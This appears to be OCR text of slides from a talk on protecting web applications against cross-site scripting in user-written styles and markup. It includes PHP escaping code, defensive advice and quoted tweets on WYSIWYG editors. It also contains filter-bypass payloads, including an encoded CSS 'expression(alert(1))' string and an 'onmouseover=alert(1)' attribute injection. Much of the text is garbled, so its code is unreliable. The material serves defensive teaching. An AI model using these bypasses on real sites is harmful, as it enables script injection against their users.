Sbad_chars = ElI‘I‘ElY("\" L ||(||‘ BANNNT, e ||&||) :
$safe_chars = array("&quot:". "&apos:", "&lpar:". "&bsol:.".
Soutput = str_replace($bad_chars. $safe_chars, $Sinput):

return stripslashes($output):

dth&#x3Aex/**/pression&#x28:alert&#x28;1 &#x29; &#x20

No Bypass

"ELt:M,

"Eamp;"):




Questions Arise ...

double guote is thers:
I vle="in lon point”
red; "onmor

here?
] lon point' .
Tlonmouseover=alert (1)
ERZ IT WILL RENDER AS

make aof an ¢ ] relopers ars ing style & i.e.,

an her : > then attacker can close the stvle tay ancd i ute . cript e.g..

jection hered
CTLY




Features of

“. It allows

simple styles ...

t £
i D
it

s 0

it
I ||
it

nt—I
font—=

H ot

-1 |._r HI
1 'y By e
l.l -i -
it
I




Protection against
JavaScript execution
via url e.g.,img's
and/or anchor's
attribute



Implementation of

2022 chttps? [£ep) {1 NN/ [P VNS IE LA N A\ T8/

any character End of Line
white_space white space




See my XSS filter if you
want to allow harmless
tags ...

http://xssplayground.net23.n
et/xssfilter.html




General Guidelines for
XSS Protection



HttpOnly Cookies



Iframe's
attribute



Content Security
Policy without
- and

A\

N\



Will Conclude....



a Sam Stephenson {¥ <% Follow

Normal people shouldn’t need to know or
care about markup. Most just want to make
words bold or italic and maybe add some
bullets & images.

Ip"’:,,-hi

https://twitter.com/sstephenson/status/50
7931945594937344




Keep it simple like Facebook's
WYSIWYG editor...

C | @ https://'www.facebook.com/editnote.php

B Bold | [ Halic | U Underline | :;E Numbered List | = List | ee Blockquote

https://www.facebook.com/editnote.php




g Sam Stephenson 13X

Markdown'’s great for techies. But what If,
instead of a spec, those 6 devs had spent 2
years creating a WYSIWYG editor that

actually works?

1 ¥AoEdES

Reply io @sstephenson

Sam Stephenson @sstephenson - Sep 5
Even the most basic rich text editing is hopelessly broken in today’s browsers.
% Every JS wrapper around contenteditable has the same bugs.

https://twitter.com/sstephenson/status/50
7931444182667264




Thank You

, @soajl1664ashar




